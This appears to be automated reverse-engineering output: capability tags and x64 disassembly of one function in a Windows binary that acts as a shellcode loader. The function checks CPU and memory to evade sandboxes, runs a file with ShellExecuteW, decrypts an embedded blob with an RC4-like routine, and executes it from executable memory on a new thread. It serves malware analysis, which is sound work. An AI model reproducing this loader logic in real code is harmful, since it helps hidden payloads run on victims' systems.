Function at 0x140013450
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Encode data using xor
Get common file path
Get memory capacity
Get system information on windows
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x640]
sub rsp, 0x740
mov rax, qword [0x140001100]
xor rax, rsp
mov qword [rbp + 0x630], rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x70], 4
jle 0x140013920
mov dword [rsp + 0x50], 0x40
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
movabs rax, 0x17ff53801
cmp qword [rsp + 0x58], rax
jb 0x140013917
lea rdx, [rbp + 0xa0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
xor ebx, ebx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], bx
lea rax, [rbp + 0xa0]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp word [rax + r8*2], bx
jne 0x140013503
lea rdx, [rbp + 0xa0]
lea rcx, [rsp + 0x50]
call fcn.140014c10
nop
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
mov r15, qword [rsp + 0x60]
sub rax, r15
cmp rax, 0xb
jb 0x140013964
lea r13, [rsp + 0x50]
mov r14, qword [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae r13, r14
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
lea r12, [r15 + 0xb]
mov ebx, 7
lea rsi, [rsp + 0x30]
cmp r12, rbx
jbe 0x140013601
mov rbx, r12
or rbx, 7
cmp rbx, rcx
jbe 0x140013590
mov rbx, rcx
mov rcx, 0xfffffffffffffffe
jmp 0x1400135bf
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x140013970
add rcx, rcx
cmp rcx, 0x1000
jb 0x1400135eb
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140013970
mov rcx, rax
call fcn.140019d98
test rax, rax
je 0x14001396a
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400135fc
test rcx, rcx
je 0x1400135fa
call fcn.140019d98
mov rsi, rax
jmp 0x1400135fc
xor esi, esi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], rbx
lea rbx, [r15 + r15]
mov r8, rbx
mov rdx, r13
mov rcx, rsi
call fcn.14001bbc0
movups xmm0, xmmword [0x140010980]
movups xmmword [rbx + rsi], xmm0
mov eax, dword [0x140010990]
mov dword [rbx + rsi + 0x10], eax
movzx eax, word [0x140010994]
mov word [rbx + rsi + 0x14], ax
xor r15d, r15d
mov word [rsi + r12*2], r15w
lea r8, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae r8, qword [rsp + 0x30]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea rdx, [0x140010998]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
movabs rax, 0x31317265767771
mov qword [rbp - 0x70], rax
lea rcx, [rbp + 0x2b0]
lea rdx, [0x1400109b0]
mov ebx, 6
mov eax, ebx
nop dword [rax]
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rdx + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rdx, [rdx + 0x80]
sub rax, 1
jne 0x1400136a0
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov rax, qword [rdx + 0x70]
mov qword [rcx + 0x70], rax
mov eax, dword [rdx + 0x78]
mov dword [rcx + 0x78], eax
movzx eax, byte [rdx + 0x7c]
mov byte [rcx + 0x7c], al
lea rax, [rbp - 0x70]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140013741
mov r8, rdi
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x60]
call fcn.140013280
mov r8, r15
movzx edx, byte [rbp - 0x5f]
movzx ecx, dl
movzx eax, byte [rbp + rcx - 0x60]
mov byte [rbp - 0x5f], al
mov byte [rbp + rcx - 0x60], cl
movzx edx, byte [rbp - 0x5f]
add rcx, rdx
movzx eax, cl
movzx ecx, byte [rbp + rax - 0x60]
xor byte [rbp + r8 + 0x2b0], cl
inc r8
cmp r8, 0x37d
jb 0x140013761
mov edx, 0x37d
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
mov rdx, rax
lea rcx, [rbp + 0x2b0]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x1400137c0
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
mov rax, qword [rcx + 0x70]
mov qword [rdx + 0x70], rax
mov eax, dword [rcx + 0x78]
mov dword [rdx + 0x78], eax
movzx eax, byte [rcx + 0x7c]
mov byte [rdx + 0x7c], al
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x1400138c5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400138c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001396a
call fcn.140019d90
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], r15w
mov rax, qword [rsp + 0x68]
cmp rax, 8
jb 0x14001392c
lea rdx, [rax*2 + 2]
mov rax, r14
cmp rdx, 0x1000
jb 0x14001390d
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001395e
mov rcx, r14
call fcn.140019d90
jmp 0x14001392c
lea rcx, [0x140010d30]
jmp 0x140013927
lea rcx, [0x140010d40]
call fcn.1400124a0
xor eax, eax
mov rcx, qword [rbp + 0x630]
xor rcx, rsp
call fcn.140019d70
lea r11, [rsp + 0x740]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140022a6c
nop
call fcn.140012700
nop
call fcn.140022a6c
int3
call fcn.140012660
int3